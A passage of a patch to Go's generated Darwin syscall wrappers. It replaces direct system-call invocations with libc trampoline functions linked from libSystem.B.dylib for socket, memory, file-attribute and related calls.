-- _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setsockopt_trampoline()
-+
-+//go:linkname libc_setsockopt libc_setsockopt
-+//go:cgo_import_dynamic libc_setsockopt setsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getpeername_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getpeername_trampoline()
-+
-+//go:linkname libc_getpeername libc_getpeername
-+//go:cgo_import_dynamic libc_getpeername getpeername "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getsockname_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockname_trampoline()
-+
-+//go:linkname libc_getsockname libc_getsockname
-+//go:cgo_import_dynamic libc_getsockname getsockname "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Shutdown(s int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_shutdown_trampoline), uintptr(s), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_shutdown_trampoline()
-+
-+//go:linkname libc_shutdown libc_shutdown
-+//go:cgo_import_dynamic libc_shutdown shutdown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-- _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall6(funcPC(libc_socketpair_trampoline), uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_socketpair_trampoline()
-+
-+//go:linkname libc_socketpair libc_socketpair
-+//go:cgo_import_dynamic libc_socketpair socketpair "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-@@ -155,7 +220,7 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_recvfrom_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -163,6 +228,11 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- return
- }
-
-+func libc_recvfrom_trampoline()
-+
-+//go:linkname libc_recvfrom libc_recvfrom
-+//go:cgo_import_dynamic libc_recvfrom recvfrom "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-@@ -172,17 +242,22 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sendto_trampoline), uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sendto_trampoline()
-+
-+//go:linkname libc_sendto libc_sendto
-+//go:cgo_import_dynamic libc_sendto sendto "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_recvmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -190,10 +265,15 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_recvmsg_trampoline()
-+
-+//go:linkname libc_recvmsg libc_recvmsg
-+//go:cgo_import_dynamic libc_recvmsg recvmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_sendmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -201,10 +281,15 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_sendmsg_trampoline()
-+
-+//go:linkname libc_sendmsg libc_sendmsg
-+//go:cgo_import_dynamic libc_sendmsg sendmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_kevent_trampoline), uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -212,21 +297,10 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_kevent_trampoline()
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_kevent libc_kevent
-+//go:cgo_import_dynamic libc_kevent kevent "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -236,34 +310,49 @@ func utimes(path string, timeval *[2]Timeval) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_utimes_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_utimes_trampoline()
-+
-+//go:linkname libc_utimes libc_utimes
-+//go:cgo_import_dynamic libc_utimes utimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func futimes(fd int, timeval *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_futimes_trampoline), uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_futimes_trampoline()
-+
-+//go:linkname libc_futimes libc_futimes
-+//go:cgo_import_dynamic libc_futimes futimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_poll_trampoline), uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_poll_trampoline()
-+
-+//go:linkname libc_poll libc_poll
-+//go:cgo_import_dynamic libc_poll poll "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Madvise(b []byte, behav int) (err error) {
-@@ -273,13 +362,18 @@ func Madvise(b []byte, behav int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav))
-+ _, _, e1 := syscall_syscall(funcPC(libc_madvise_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(behav))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_madvise_trampoline()
-+
-+//go:linkname libc_madvise libc_madvise
-+//go:cgo_import_dynamic libc_madvise madvise "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlock(b []byte) (err error) {
-@@ -289,23 +383,33 @@ func Mlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlock_trampoline()
-+
-+//go:linkname libc_mlock libc_mlock
-+//go:cgo_import_dynamic libc_mlock mlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlockall_trampoline), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlockall_trampoline()
-+
-+//go:linkname libc_mlockall libc_mlockall
-+//go:cgo_import_dynamic libc_mlockall mlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mprotect(b []byte, prot int) (err error) {
-@@ -315,13 +419,18 @@ func Mprotect(b []byte, prot int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mprotect_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(prot))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mprotect_trampoline()
-+
-+//go:linkname libc_mprotect libc_mprotect
-+//go:cgo_import_dynamic libc_mprotect mprotect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Msync(b []byte, flags int) (err error) {
-@@ -331,13 +440,18 @@ func Msync(b []byte, flags int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_msync_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_msync_trampoline()
-+
-+//go:linkname libc_msync libc_msync
-+//go:cgo_import_dynamic libc_msync msync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlock(b []byte) (err error) {
-@@ -347,37 +461,52 @@ func Munlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlock_trampoline()
-+
-+//go:linkname libc_munlock libc_munlock
-+//go:cgo_import_dynamic libc_munlock munlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlockall_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlockall_trampoline()
-+
-+//go:linkname libc_munlockall libc_munlockall
-+//go:cgo_import_dynamic libc_munlockall munlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getattrlist_trampoline()
-+
-+//go:linkname libc_getattrlist libc_getattrlist
-+//go:cgo_import_dynamic libc_getattrlist getattrlist "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_pipe_trampoline), 0, 0, 0)
- r = int(r0)
- w = int(r1)
- if e1 != 0 {
-@@ -386,26 +515,282 @@ func pipe() (r int, w int, err error) {
- return
- }
-
-+func libc_pipe_trampoline()
-+
-+//go:linkname libc_pipe libc_pipe
-+//go:cgo_import_dynamic libc_pipe pipe "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_getxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getxattr_trampoline()
-+
-+//go:linkname libc_getxattr libc_getxattr
-+//go:cgo_import_dynamic libc_getxattr getxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_fgetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fgetxattr_trampoline()
-+
-+//go:linkname libc_fgetxattr libc_fgetxattr
-+//go:cgo_import_dynamic libc_fgetxattr fgetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setxattr_trampoline()
-+
-+//go:linkname libc_setxattr libc_setxattr
-+//go:cgo_import_dynamic libc_setxattr setxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fsetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fsetxattr_trampoline()
-+
-+//go:linkname libc_fsetxattr libc_fsetxattr
-+//go:cgo_import_dynamic libc_fsetxattr fsetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_removexattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_removexattr_trampoline()
-+
-+//go:linkname libc_removexattr libc_removexattr
-+//go:cgo_import_dynamic libc_removexattr removexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_fremovexattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fremovexattr_trampoline()
-+
-+//go:linkname libc_fremovexattr libc_fremovexattr
-+//go:cgo_import_dynamic libc_fremovexattr fremovexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_listxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_listxattr_trampoline()
-+
-+//go:linkname libc_listxattr libc_listxattr
-+//go:cgo_import_dynamic libc_listxattr listxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_flistxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_flistxattr_trampoline()
-+
-+//go:linkname libc_flistxattr libc_flistxattr
-+//go:cgo_import_dynamic libc_flistxattr flistxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setattrlist_trampoline()
-+
-+//go:linkname libc_setattrlist libc_setattrlist
-+//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fcntl_trampoline), uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fcntl_trampoline()
-+
-+//go:linkname libc_fcntl libc_fcntl
-+//go:cgo_import_dynamic libc_fcntl fcntl "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kill(pid int, signum int, posix int) (err error) {
-- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
-+ _, _, e1 := syscall_syscall(funcPC(libc_kill_trampoline), uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_kill_trampoline()
-+
-+//go:linkname libc_kill libc_kill
-+//go:cgo_import_dynamic libc_kill kill "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ _, _, e1 := syscall_syscall(funcPC(libc_ioctl_trampoline), uintptr(fd), uintptr(req), uintptr(arg))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_ioctl_trampoline()
-+
-+//go:linkname libc_ioctl libc_ioctl
-+//go:cgo_import_dynamic libc_ioctl ioctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sysctl_trampoline), uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_sysctl_trampoline()
-+
-+//go:linkname libc_sysctl libc_sysctl
-+//go:cgo_import_dynamic libc_sysctl sysctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sendfile_trampoline), uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_sendfile_trampoline()
-+
-+//go:linkname libc_sendfile libc_sendfile
-+//go:cgo_import_dynamic libc_sendfile sendfile "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Access(path string, mode uint32) (err error) {
-@@ -414,23 +799,33 @@ func Access(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_access_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_access_trampoline()
-+
-+//go:linkname libc_access libc_access
-+//go:cgo_import_dynamic libc_access access "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_adjtime_trampoline), uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_adjtime_trampoline()
-+
-+//go:linkname libc_adjtime libc_adjtime
-+//go:cgo_import_dynamic libc_adjtime adjtime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chdir(path string) (err error) {
-@@ -439,13 +834,18 @@ func Chdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chdir_trampoline()
-+
-+//go:linkname libc_chdir libc_chdir
-+//go:cgo_import_dynamic libc_chdir chdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chflags(path string, flags int) (err error) {
-@@ -454,13 +854,18 @@ func Chflags(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
